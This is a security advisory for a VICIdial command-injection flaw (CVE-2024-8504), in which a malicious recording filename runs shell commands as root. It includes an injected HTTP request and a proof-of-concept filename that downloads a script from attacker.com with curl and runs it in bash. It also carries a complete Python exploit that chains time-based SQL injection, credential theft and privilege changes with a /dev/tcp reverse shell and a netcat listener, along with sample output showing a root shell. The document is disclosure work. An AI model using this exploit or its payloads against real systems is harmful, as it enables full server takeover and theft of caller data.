-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2024-012: VICIdial Authenticated Remote Code Execution Title: VICIdial Authenticated Remote Code Execution Advisory ID: KL-001-2024-012 Publication Date: 2024-09-10 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt 1. Vulnerability Details Affected Vendor: VICIdial Affected Product: VICIdial Affected Version: 2.14-917a Platform: GNU/Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CVE ID: CVE-2024-8504 2. Vulnerability Description An attacker with authenticated access to VICIdial as an "agent" can execute arbitrary shell commands as the "root" user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective. 3. Technical Description VICIdial is an open-source contact center suite, mainly used by call centers. The "vicidial.com" website boasts over 14,000 registered installations. There is a public SVN repository to access the source code, as well as an ISO that can be used to install the software. The ISO was used in a virtual machine for testing purposes. Users can be added to specific "groups" that enable them to log into the "agent" web client if that group is associated with a "campaign". This web client is for agents to manage inbound and outbound phone calls, displaying pertinent information regarding the "lead", such as the personal information of the individual on the other end of the call. An agent has the ability to record the phone call using the "START RECORDING" button. When clicked, an HTTP request is sent to the server which is processed by the "manager_send.php" PHP script. The "filename" parameter included in the request is sanitized with the "preg_replace" PHP function to prevent SQL injection, as shown by this snippet: if (isset($_GET["filename"])) {$filename=$_GET["filename"];} elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];} ... $filename = preg_replace("/\'|\"|\\\\|;/","",$filename); The regular expression used to sanitize this parameter is very permissive, only removing single quotes, double quotes, backslashes, and semicolons. Later in the execution of "manager_send.php", the "filename" variable is added to a SQL database through an "INSERT" statement, along with other user-controlled variables such as "exten": $stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME', 'NEW','N','$server_ip','','Originate','$vmgr_callerid', 'Channel: $channel','Context: $ext_context', 'Exten: $exten','Priority: $ext_priority', 'Callerid: $filename','','','','','');"; if ($format=='debug') {echo "\n";} $rslt=mysql_to_mysqli($stmt, $link); On the server-side, an asyncronous cron job is executing the perl script "ADMIN_keepalive_ALL.pl": vicibox11:/ # crontab -l | grep keepalive ### keepalive script for astguiclient processes * * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl This perl script ensures several worker perl scripts are running. Included in these worker perl scripts is "AST_manager_send.pl", as shown by this snippet from "ADMIN_keepalive_ALL.pl": if ($psline[1] =~ /AST_manager_se/) { $runningAST_send++; if ($DB) {print "AST_send RUNNING: |$psline[1]|\n";} } ... if ( ($AST_send_listen > 0) && ($runningAST_send < 1) ) { if ($DB) {print "starting AST_manager_send...\n";} # add a '-L' to the command below to activate logging `/usr/bin/screen -d -m -S ASTsend $PATHhome/AST_manager_send.pl $debug_string`; The "AST_manager_send.pl" script will continuously monitor the "vicidial_manager" table in the SQL database for records with the "status" column equal the string "NEW". Values from that row are then URL-encoded and used as command-line arguments to invoke the "AST_send_action_child.pl" perl script: while ($endless_loop > 0) { my $stmtA = "SELECT count(*) from vicidial_manager where server_ip = '" . $conf{VARserver_ip} . "' and status = 'NEW';"; ... $originate_command .= $vdm->{cmd_line_e} . "\n" if ($vdm->{cmd_line_e}); $originate_command .= $vdm->{cmd_line_f} . "\n" if ($vdm->{cmd_line_f}); $originate_command .= $vdm->{cmd_line_g} . "\n" if ($vdm->{cmd_line_g}); ... $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; ... $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e} if ($vdm->{cmd_line_e}); $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f} if ($vdm->{cmd_line_f}); $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g} if ($vdm->{cmd_line_g}); ... $launch .= " >> " . $conf{PATHlogs} . "/action_send." . logDate() if ($SYSLOG); system($launch . ' &'); The "AST_send_action_child.pl" will then initiate a telnet connection to the "Asterisk Call Manager" and issue various commands as they appear in the command-line arguments: my $tn = new Net::Telnet (Port => $telnet_port, Prompt => '/\r\n/', Output_record_separator => '', Errmode => "return"); ... $tn->open("$telnet_host"); $tn->waitfor('/Asterisk Call Manager\//'); ... $originate_command .= $cmd_line_e . "\n" if ($cmd_line_e); $originate_command .= $cmd_line_f . "\n" if ($cmd_line_f); $originate_command .= $cmd_line_g . "\n" if ($cmd_line_g); ... my @list_channels = $tn->cmd(String => $originate_command, Prompt => '/.*/'); These commands are then processed by the Asterisk Management interface (AMI). The configuration file "extensions-vicidial.conf" contains useful information on how AMI processes the value of the user-controlled "Exten" command. The following is a relevant snippet: exten => 8309,1,Answer exten => 8309,2,Monitor(wav,${CALLERID(name)}) exten => 8309,3,Wait(3600) exten => 8309,4,Hangup() ... When supplying an "Exten" value of "8309", the "Monitor" application is invoked, which will record the current call and write the recorded data into a file. The default directory is "/var/spool/asterisk/monitor". In this case, the name of the file is derived from the "CALLERID", which is also user-controlled. This can be leveraged by an attacker to write file names that contain malicious shell commands. Take for example the following HTTP request: POST /agc/manager_send.php HTTP/1.1 Host: REDACTED Content-Length: 279 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi= Two files are created within the "/var/spool/asterisk/monitor" directory: vicibox11:/ # ls -l /var/spool/asterisk/monitor total 216 -rw-r--r-- 1 root root 213164 May 30 05:30 \ 3133731337$(id>foobar.txt)-in.wav -rw-r--r-- 1 root root 44 May 30 05:30 \ 3133731337$(id>foobar.txt)-out.wav Additionally, the "AST_CRON_audio_1_move_VDonly.pl" perl script is executed every 3 minutes: vicibox11:/ # crontab -l | grep VDonly 0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \ /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl This script searches for WAV/GSM files within the Asterisk monitor directory and uses the file names to execute several shell commands: foreach(@FILES) { ... $INfile = $FILES[$i]; ... if (!$T) { `mv -f "$dir1/$INfile" "$dir2/$ALLfile"`; `rm -f "$dir1/$OUTfile"`; } The malicious file name is then inserted into the "mv" command. The attacker controlled "id" command is executed and the output is redirected to the file "foo.txt": vicibox11:/ # ls -l /root/foobar.txt -rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt 4. Mitigation and Remediation Recommendation This issue has been remediated in the public svn/trunk codebase, as of revision 3848 committed 2024-07-08. 5. Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. 6. Disclosure Timeline 2024-07-05 : KoreLogic requests security contact from support@vicidial.com. 2024-07-08 : KoreLogic reports vulnerability details to VICIdial contact. 2024-07-08 : VICIdial notifies KoreLogic that the issue has been remediated with revision 3848 in the public Subversion repository. 2024-07-11 : KoreLogic confirms this vulnerability has been remediated. KoreLogic asks VICIdial if it is appropriate to publicly disclose the vulnerability details at this time. 2024-07-11 : VICIdial requests four weeks of embargo in order to upgrade supported customers. 2024-08-05 : KoreLogic asks VICIdial if it is appropriate to publicly disclose the vulnerability details at this time. 2024-08-09 : VICIdial requests an additional two weeks of embargo. 2024-09-10 : KoreLogic public disclosure. 7. Proof of Concept Instead of executing the "id" command, a malicious bash script can be downloaded and executing using the cURL utility. The following file name is an example: $(curl$IFS@attacker.com$IFS-o$IFS.c&&bash$IFS.c) This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection) to execute arbitrary shell commands as the root user from an unauthenticated perspective: [goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh 192.168.2.65 -lp 1337 --bind [+] Target appears vulnerable to time-based SQL injection [~] Enumerating administrator credentials [~] 6 [~] 66 [~] 666 [~] 6666 [+] Username: 6666 [~] J [~] JA [~] JAB [~] JAB1 [~] JAB18 [~] JAB181 [~] JAB181M [~] JAB181MA [~] JAB181MAB [~] JAB181MAB1 [~] JAB181MAB17 [~] JAB181MAB178 [~] JAB181MAB178_ [~] JAB181MAB178_L [~] JAB181MAB178_LA [~] JAB181MAB178_LAn [+] Password: JAB181MAB178_LAn [+] Authenticated successfully as user "6666" [+] Updated user settings to increase privileges [+] Updated system settings [+] Created dummy campaign "korelogic_campaign" [+] Updated dummy campaign settings [+] Created dummy list for campaign [+] Found phone credentials: callin:test [+] Entered "manager" credentials to override shift enforcement [+] Authenticated as agent using phone credentials [~] Listening for incoming connections... [+] Received cURL request from 192.168.2.136 Connection from 192.168.2.136:56980 vicibox11:~ # id uid=0(root) gid=0(root) groups=0(root) ######################### ## unauth2rce.py ## ######################### import os import re import socket import string import random import urllib3 import argparse import requests import threading from base64 import b64encode from bs4 import BeautifulSoup urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Exploit: def __init__(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None): """ This 'sleep' duration is derived by the average response time multiplied by this value. A server with an average response time of 10ms is given a 'sleep' duration of 300ms. Tune as needed. """ self.SLEEP_MULTIPLIER = 30 self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'} self.ALLOWED_SCHEMES = ['http', 'https'] if proxy: self.REQUEST_PROXIES = { 'http': proxy, 'https': proxy } else: self.REQUEST_PROXIES = {} self.TARGET_IP = rhost self.TARGET_PORT = rport self.PAYLOAD_WEBSERVER_HOST = whost self.PAYLOAD_WEBSERVER_PORT = wport self.REVERSE_SHELL_HOST = lhost self.REVERSE_SHELL_PORT = lport self.BIND = bind self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!' self.RANDOM_CHARSET = string.ascii_uppercase + string.digits # returns a URI with 'http' or 'https' def determine_target_uri(self): for scheme in self.ALLOWED_SCHEMES: target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}' try: response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False) if self.VICIDIAL_FINGERPRINT in response.text: return target_uri except: pass # returns a session object with custom proxies/headers if supplied def build_requests_session(self): self.base_uri = self.determine_target_uri() session = requests.Session() session.proxies = self.REQUEST_PROXIES session.verify = False return session # returns a random string of a given length def random(self, length): return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length)) # returns a timedelta representing the response time of an injected SQL query def time_sql_query(self, query, session): username = f"goolicker', '', ({query}));# " credentials = f'{username}:password' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php' request_params = {'function': 'log_custom_report', self.random(5): self.random(5)} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) return response.elapsed # returns a boolean if time-based SQL injection is possible, additionally # sets the best 'sleep' duration based on response times def is_vulnerable(self, session, baseline_iterations=5): # determine average baseline response time zero_sleep_query = f'SELECT (NULL)' total_baseline_time = 0 for _ in range(baseline_iterations): execution_time = self.time_sql_query(zero_sleep_query, session) total_baseline_time += execution_time.total_seconds() average_baseline_response_time = total_baseline_time / baseline_iterations self.sql_baseline_time = average_baseline_response_time # determine if injected sleep query impacts response time sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2) sleep_query = f'SELECT (sleep({sleep_length}))' execution_time = self.time_sql_query(sleep_query, session) if execution_time.total_seconds() >= sleep_length: self.sql_sleep_length = sleep_length return True else: return False # determine if a character at a specific indice of a query result returns a # boolean 'true' when compared to a given character using the supplied operator def check_indice_of_query_result(self, session, query, indice, operator, ordinal): parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)' execution_time = self.time_sql_query(parent_query, session) return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER) def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable): # convert charset to ordinals all_characters = sorted([ord(char) for char in charset]) reduced_characters = all_characters # use a binary search and enumerate query results result = '' indice = 1 indice_could_be_null = True while True: """ we check if the value is NULL once per indice to determine when a string ends. this adds one request per indice, but since every boolean 'true' results in a delay this is faster than counting the length of the string before enumrating. """ if indice_could_be_null: if self.check_indice_of_query_result(session, query, indice, '=', '0'): break else: indice_could_be_null = False # enumerate each character of query result with a binary search middle_indice = len(reduced_characters) // 2 middle_ordinal = reduced_characters[middle_indice] if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal): if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal): reduced_characters = all_characters result += chr(middle_ordinal) indice += 1 indice_could_be_null = True print(f'[~] {result}') else: reduced_characters = reduced_characters[:middle_indice] else: reduced_characters = reduced_characters[middle_indice:] return result def poison_recording_files(self, session, username, password): # authenticate using administrator credentials credentials = f'{username}:{password}' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/vicidial/admin.php' request_params = {'ADD': '3', 'user': username} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) if response.status_code == 200: print(f'[+] Authenticated successfully as user "{username}"') else: print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?') return # update user settings to increase privileges beyond default administrator user_settings_body = { "ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password, "force_change_password":"N","full_name":"KoreLogic","user_level":"9", "user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic", "active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"", "user_location":"","user_group_two":"","territory":"","user_nickname":"", "user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1", "hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0", "next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED", "agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1", "closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English", "vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED", "alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE", "agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y", "hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE", "user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE", "max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1", "inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0", "wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"", "campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"", "ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10", "LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0", "GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"", "custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"", "qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0", "hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0", "admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"", "view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1", "modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1", "delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1", "modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1", "delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1", "delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1", "delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1", "delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1", "delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1", "delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1", "modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1", "modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1", "modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1", "modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1", "delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1", "admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0", "two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0", "api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1", "download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=user_settings_body) print('[+] Updated user settings to increase privileges') # update system settings without clobbering existing configuration response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'}) soup = BeautifulSoup(response.text, 'html.parser') form_tag = soup.find('form') system_settings_body = {} for input_tag in form_tag.find_all('input'): setting_name = input_tag['name'] setting_value = input_tag['value'] system_settings_body[setting_name] = setting_value for select_tag in form_tag.find_all('select'): setting_name = select_tag['name'] selected_tag = select_tag.find('option', selected=True) if not selected_tag: continue setting_value = selected_tag.text system_settings_body[setting_name] = setting_value system_settings_body['outbound_autodial_active'] = '0' response = session.post(target_uri, headers=request_headers, data=system_settings_body) print('[+] Updated system settings') # create dummy campaign campaign_settings_body = { "ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign", "campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"", "web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0", "next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"", "get_call_launch":"NONE","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=campaign_settings_body) print('[+] Created dummy campaign "korelogic_campaign"') # update dummy campaign update_campaign_body = { "ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y", "campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN", "list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y", "hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1", "adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END" } response = session.post(target_uri, headers=request_headers, data=update_campaign_body) print('[+] Updated dummy campaign settings') # create dummy list list_settings_body = { "ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"", "campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=list_settings_body) print('[+] Created dummy list for campaign') # fetch credentials for a phone login response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'}) soup = BeautifulSoup(response.text, 'html.parser') phone_uri_path = soup.find('a', string='MODIFY')['href'] response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers) soup = BeautifulSoup(response.text, 'html.parser') phone_extension = soup.find('input', {'name': 'extension'})['value'] phone_password = soup.find('input', {'name': 'pass'})['value'] recording_extension = soup.find('input', {'name': 'recording_exten'})['value'] print(f'[+] Found phone credentials: {phone_extension}:{phone_password}') # authenticate to agent portal with phone credentials manager_login_body = { "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension, "phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"", "LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password, "MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password, "MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT" } response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body) print(f'[+] Entered "manager" credentials to override shift enforcement') agent_login_body = { "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"", "LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension, "phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373", } response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body) print(f'[+] Authenticated as agent using phone credentials') # insert malicious recording session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0] session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0] malicious_filename = f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)" record1_body = { "server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password, "ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename, "exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES", "uniqueid":"","FROMapi":"" } response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body) recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0] # stop malicious recording to prevent file size from growing record2_body = { "server_ip":self.TARGET_IP,"session_name":session_name,"user":username, "pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default", "filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1", "FROMvdc":"YES","uniqueid":"","FROMapi":"" } response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, data=record2_body) # returns administrator username and password by # exploiting time-based SQL injection. def extract_admin_credentials(self, session): print('[~] Enumerating administrator credentials') username_charset = string.ascii_letters + string.digits admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset) print(f'[+] Username: {admin_username}') password_charset = string.ascii_letters + string.digits + '-.+/=_' admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1" admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset) print(f'[+] Password: {admin_password}') return admin_username, admin_password # emulates a webserver to deliver exploit script def payload_webserver(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT))) server.listen(1) while True: client, incoming_address = server.accept() message = client.recv(100) if b'User-Agent: curl' in message: break else: client.close() print(f'[+] Received cURL request from {incoming_address[0]}') exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1" http_response = f"HTTP/1.1 200 OK\r\n" http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n" http_response += exploit_script client.sendall(http_response.encode()) client.close() # starts a netcat process to catch the incoming reverse shell def netcat_listener(self): os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}') # binds to provided addresses and handles incoming connections def prepare_listeners(self): webserver = threading.Thread(target=self.payload_webserver) netcat = threading.Thread(target=self.netcat_listener) print('[~] Listening for incoming connections...') netcat.start() webserver.start() # establish a reverse shell as root from the vicidial instance def shell(self): session = self.build_requests_session() is_vulnerable = self.is_vulnerable(session) if is_vulnerable: print('[+] Target appears vulnerable to time-based SQL injection') else: print('[-] Failed to perform time-based SQL injection') return username, password = self.extract_admin_credentials(session) self.poison_recording_files(session, username, password) # prepare exploit listeners if configured if self.BIND: self.prepare_listeners() if __name__ == '__main__': argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root') required = argparser.add_argument_group('Required Arguments') optional = argparser.add_argument_group('Optional Arguments') required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address') required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number') required.add_argument('-wh', '--whost', required=True, help='Malicious webserver IP address') required.add_argument('-wp', '--wport', required=True, help='Malicious webserver port number') required.add_argument('-lh', '--lhost', required=False, help='Reverse shell listener IP address') required.add_argument('-lp', '--lport', required=False, help='Reverse shell listener port number') optional.add_argument('-b', '--bind', required=False, help='Bind to [lhost:lport] and [whost:wport] and handle connections automatically', action='store_true', default=False) optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None) arguments = argparser.parse_args() exploit = Exploit( rhost = arguments.rhost, rport = arguments.rport, whost = arguments.whost, wport = arguments.wport, lhost = arguments.lhost, lport = arguments.lport, bind = arguments.bind, proxy = arguments.proxy ) exploit.shell() The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy -----BEGIN PGP SIGNATURE----- iQJOBAEBCAA4FiEEB12WYZwbVwYTJ/b2DKLsCTlWkekFAmbgmb8aHGRpc2Nsb3N1 cmVzQGtvcmVsb2dpYy5jb20ACgkQDKLsCTlWkel6bQ/8DXRaVDMQUEv6YilGkiJC +sar3UxTgMlvkt8uLH/3qXLAf1KhLTxZ2GWQdpvQ7HDqauHqQNglyHgCQyj678AJ Hcg560KGfplziyPa6du1Av42eSuK2QM+7M2UOg2Bh3OhT6sPUZyTLqRCQ6RU7Mxa UvqkamWscehk6BvIwGvStNLT0AxYtSh6fKnndIcAlgfqQWSkQv5bDpEU8gOu1qkO MLIkUCXVGohlyyr8IcJlA2HF5yd+CHB0+lxr/UHu0UOJAPPDjmBkuuivCGznK8US GmWrAwP8ICYdKxwEJec8suHocHeCMbFicce5X4frCDXPV4jGWksZDNVdrUdZm8wJ mo3CrsRE1S7RjmCRVPHZXxDGZrv8HDXC2IQXMLTIMDe0ZNHzmyDC03XEqQRF5YUI YWp+KbJ8MUhyUxjqO7vmRoA65x5Ckjy2u+R3Mzu8byuLSRvCXWsyGa/CSemUu/bj eBLwiN1/3CgKmeuHKNKeJghzzm3nbQt6XrrOEW6dGYw1EZd+OeD6VIZWf+/bWWuG awZ/uikI3RG5Lb3XGiu5oWAXiTyuNg3yjCS/47QczROyfnQPXrBcPsl2ksrSlnt6 80R/zYUZOj9uebMDQ+PGl0qgh1LL7YXI/ZOv1H8AObQAHIvihLzb2312r1i+b3e/ j+B0eX1DflHH1z4Co/NYtzw= =v44I -----END PGP SIGNATURE-----